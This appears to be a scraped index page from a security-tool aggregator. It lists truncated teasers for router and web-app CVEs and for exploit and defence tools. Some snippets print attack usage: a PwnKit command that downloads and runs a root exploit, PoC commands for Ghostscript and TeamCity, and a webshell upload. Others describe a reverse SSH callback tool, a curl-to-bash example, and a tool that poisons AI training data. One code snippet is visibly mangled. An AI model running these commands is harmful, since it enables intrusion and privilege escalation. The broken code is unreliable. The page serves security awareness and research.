CVE-2026-79912 TOTOLINK N600R cstecgi.cgi getCurrentTime command injection

A vulnerability was detected in TOTOLINK N600R 4.3.0cu.7647B20210106. The impacted element is the function getCurrentTime of the file /cgi-bin/cstecgi.cgi. Performing a manipulation of the argument ntpserver results in command injection. The attack can be initiated remotely. The exploit is now...

CVE-2026-79912

TOTOLINK N600R (firmware 4.3.0cu.7647_B20210106) is affected by a command injection in the getCurrentTime function of /cgi-bin/cstecgi.cgi. An unauthenticated remote attacker can manipulate the ntp_server argument to inject and execute arbitrary commands. A public proof-of-concept exploit is avai...

miasma

🌀 Miasma تواصل شركات الذكاء الاصطناعي تجريف الإنترنت على نطاق هائل، وتبتلع كل محتوياته لاستخدامها كبيانات تدريب لنماذجها القادمة. إذا كان لديك موقع ويب عام، فإنهم يسرقون عملك بالفعل. Miasma هنا لمساعدتك على الرد! شغّل الخادم ووجّه أي حركة مرور خبيثة نحوه. سيرسل Miasma بيانات تدريب مسمومة من نافور...

System-Velocity

System-Velocity Proxy-level security and maintenance for Veloci...

laurel

Linux Audit – تسجيل سهل وقوي وقابل للاستخدام LAUREL هو مكون إضافي لمعالجة الأحداث بعد وقوعها لـ auditd8 يقوم بتوليد سجلات تدقيق غنية ومفيدة بتنسيق JSON مناسبة لإعدادات مراقبة الأمان الحديثة. يمكن العثور على الوثائق المقابلة لأحدث إصدار مستقر هنا. لماذا؟ باختصار: بدلاً من أحداث التدقيق التي تبدو...

CVE-2023-20198

CVE-2023-20198 PoC d'exploitation pour CVE-2023-20198 Description CVE-2023-20198 est caractérisé par une validation de chemin incorrecte permettant de contourner le filtrage Nginx pour atteindre le point de terminaison web webuiwsmahttp sans nécessiter d'authentification. En contournant...

sshimpanzee

Sshimpanzee Sshimpanzee تتيح لك بناء خادم ssh عكسي ثابت. بدلاً من الاستماع على منفذ وانتظار الاتصالات، سيبادر خادم ssh بالاتصال العكسي بعنوان IP الخاص بالمهاجم، تمامًا مثل الصدفة العكسية العادية. Sshimpanzee تتيح لك الاستفادة من جميع ميزات اتصال ssh العادي ، مثل إعادة توجيه المنافذ، ووكلاء SOCKS...

CVE-2026-63403

Faktory is a language-agnostic background job server. In versions prior to 1.10.0, the server is vulnerable to an unauthenticated denial of service in which a single malformed command crashes the entire process. Its wire protocol is line-based, and several command handlers slice or index the...

CVE-2018-7273

include include include include include include include include include include static int driveselectorint head return head 2; void fdrecalibrateint fd struct floppyrawcmd rawcmd; int tmp; root@kitploit: rawcmd.flags = FDRAWINTR; rawcmd.cmdcount = 2; // set up the command...

tirith v0.4.0

tirith Your browser would catch this. Your terminal won't. Website | Docs | SKILL.md | Changelog Independent open-source project, with hosting supported by the Vercel Open Source Program Spring 2026 Cohort. Can you spot the difference? root@kitploit: curl -sSL https://install.example-cli.dev | ba...

CVE-2023-36664

CVE-2023-36664 : Exécution de code à distance dans Ghostscript Preuve de concept pour la CVE-2023-36664. Utilisation Pour insérer une charge utile dans un fichier .eps : root@kitploit: python3 poc.py -f "filename" --payload "command" python3 poc.py -f file.eps --payload firefox Pour insérer une...

semgrep-rules

semgrep-rules "La surface d'attaque est la vulnérabilité. Trouver un bug là-dedans n'est qu'un détail." -- Mark Dowd "Certains détails sont plus importants que d'autres." -- Fedor G. Pikus Une collection de mes règles Semgrep pour faciliter la recherche de vulnérabilités. Articles de blog...

CVE-2026-79911 TOTOLINK N600R CGI cstecgi.cgi setSystemConfig stack-based overflow

A security vulnerability has been detected in TOTOLINK N600R 4.3.0cu.7647B20210106. The affected element is the function setSystemConfig of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Such manipulation of the argument Hostname leads to stack-based buffer overflow. It is possible t...

CVE-2026-79911

CVE-2026-79911 is a stack-based buffer overflow in the setSystemConfig function of /cgi-bin/cstecgi.cgi (CGI Handler) on the TOTOLINK N600R running firmware 4.3.0cu.7647_B20210106 . By manipulating the Hostname argument, an unauthenticated remote attacker can trigger the overflow, achieving full ...

CVE-2023-42793

CVE-2023-42793 - Créer un nom d'utilisateur administrateur Exemple d'exécution de commande : root@kitploit: python3 exploit.py -u http://localhost User add token - eyJ0eXAiOiAiVENWMiJ9.YkZ0V2tzR3NvWXhZelRfZTN0cFF1SkZjVWVz.N2M0Njk2ZTgtNWZhYi00MTU5LWJmZjQtYWU1MDFlYzZiMGY1 Successful execution,...

CVE-2022-28590

CVE-2022-28590 La découverte originale et le PoC manuel proviennent de tuando243 : Une vulnérabilité d'exécution de code à distance RCE existe dans Pixelimity 1.0 via admin/admin-ajax.php?action=installtheme. Ce PoC télécharge un webshell simple pour une exécution de code à distance ultérieure. C...

through_the_wire

À travers le fil À travers le fil est une preuve de concept d'exploitation pour CVE-2022-26134, une injection OGNL affectant Atlassian Confluence Server et Data Center versions = 7.13.6 LTS et = 7.18.0 « Latest ». Il s'agissait à l'origine d'un zero-day exploité dans la nature. Avis du fournisseu...

PwnKit-CVE-2021-4034

PwnKit إثبات المفهوم لـ PwnKit / CVE-2021-4034 - تصعيد الامتيازات المحلية لـ Pkexec الاستغلال يدويًا root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command تم...

CVE-2026-80138

ClipBucket V5 (versions 5.5.1 through 5.5.3-#153) is affected by an OS command injection in its web installer. The php_cli_filepath parameter is not properly validated or escaped before being passed to shell execution, allowing an unauthenticated attacker to submit a crafted POST request and exec...

CVE-2026-80138 ClipBucket V5 5.5.1 through 5.5.3-#153 OS Command Injection via Installer php_cli_filepath Parameter

ClipBucket V5's web installer fails to properly validate or escape the phpclifilepath parameter before passing it to shell execution. Unauthenticated attackers can submit a crafted POST request to the installer with a malicious phpclifilepath value to execute arbitrary commands as the web server...